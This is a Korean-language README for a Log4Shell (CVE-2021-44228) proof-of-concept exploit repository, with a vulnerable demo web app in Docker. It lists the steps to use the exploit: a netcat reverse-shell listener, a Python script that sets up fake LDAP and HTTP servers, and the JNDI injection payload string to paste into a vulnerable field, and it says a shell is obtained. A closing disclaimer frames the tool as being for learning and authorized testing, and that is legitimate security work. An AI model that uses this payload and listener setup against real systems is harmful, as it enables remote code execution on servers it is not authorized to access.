
CVE-2021-44228 취약점에 대한 개념 증명(PoC)
최근 발견된 CVE-2021-44228 취약점에 대한 개념 증명(PoC)입니다.
최근 log4j(Java 로깅 라이브러리)에서 새로운 취약점이 발견되었습니다. 이 라이브러리는 Elasticsearch, Minecraft 및 기타 여러 곳에서 널리 사용됩니다.
이 저장소에는 취약한 애플리케이션 예제와 이에 대한 개념 증명(PoC) 익스플로잇이 포함되어 있습니다.
취약한 웹 앱:
Ghidra (이전 스크립트):
Minecraft PoC (이전 스크립트):
PoC로 우리는 프로세스를 자동화하는 Python 파일을 만들었습니다.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20이어야 하며, 동일한 디렉토리에 있어야 합니다.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
이 스크립트는 HTTP 서버와 LDAP 서버를 자동으로 설정하고, 취약한 매개변수에 붙여넣을 수 있는 페이로드를 생성합니다. 그 후 모든 것이 정상적으로 진행되면 lport에서 셸을 획득할 수 있습니다.
취약한 웹앱이 포함된 Dockerfile을 추가했습니다. 아래 단계에 따라 사용할 수 있습니다.
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
실행이 완료되면 localhost:8080에서 접근할 수 있습니다.
프로젝트를 더 발전시키고 싶다면, 프로젝트 개발에 사용한 Intellij IDE를 사용할 수 있습니다. 또한 작업을 좀 더 쉽게 만들어주는 구성 파일이 있는 .idea 폴더도 포함되어 있습니다. 다른 IDE도 사용할 수 있을 것입니다.
익스플로잇을 만들 당시 어떤 Java 버전이 작동하고 어떤 버전이 작동하지 않는지 정확히 알 수 없어서 Java 8의 초기 버전 중 하나인 java-8u20을 선택했습니다.
Oracle은 다행히도 모든 이전 Java 버전의 아카이브를 제공합니다.
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
8u20까지 스크롤하여 운영 체제와 하드웨어에 맞는 적절한 파일을 다운로드하십시오.

참고: 패키지를 다운로드하려면 계정을 만들어야 합니다.
아카이브를 다운로드하고 추출한 후 jdk1.8.0_20/bin에서 java 및 관련 바이너리를 찾을 수 있습니다.
참고: 정상 작동을 위해 jdk 폴더를 이 저장소에 동일한 이름으로 추출했는지 확인하십시오.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
이 저장소는 CVE-2021-44228에 대한 원클릭 익스플로잇을 제공하기 위한 것이 아닙니다. 이 프로젝트의 목적은 사람들이 이 멋진 취약점에 대해 배우고, 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다. (단, 이 목적에 더 적합한 애플리케이션도 있습니다. 예: https://log4shell.tools/).
저희 팀은 이 익스플로잇을 악의적인 활동에 사용하는 것을 돕거나 지지하지 않습니다. 따라서 도움을 요청할 경우, 대상 서비스를 소유하고 있거나 침투 테스트 권한이 있음을 증명해야 할 수 있습니다.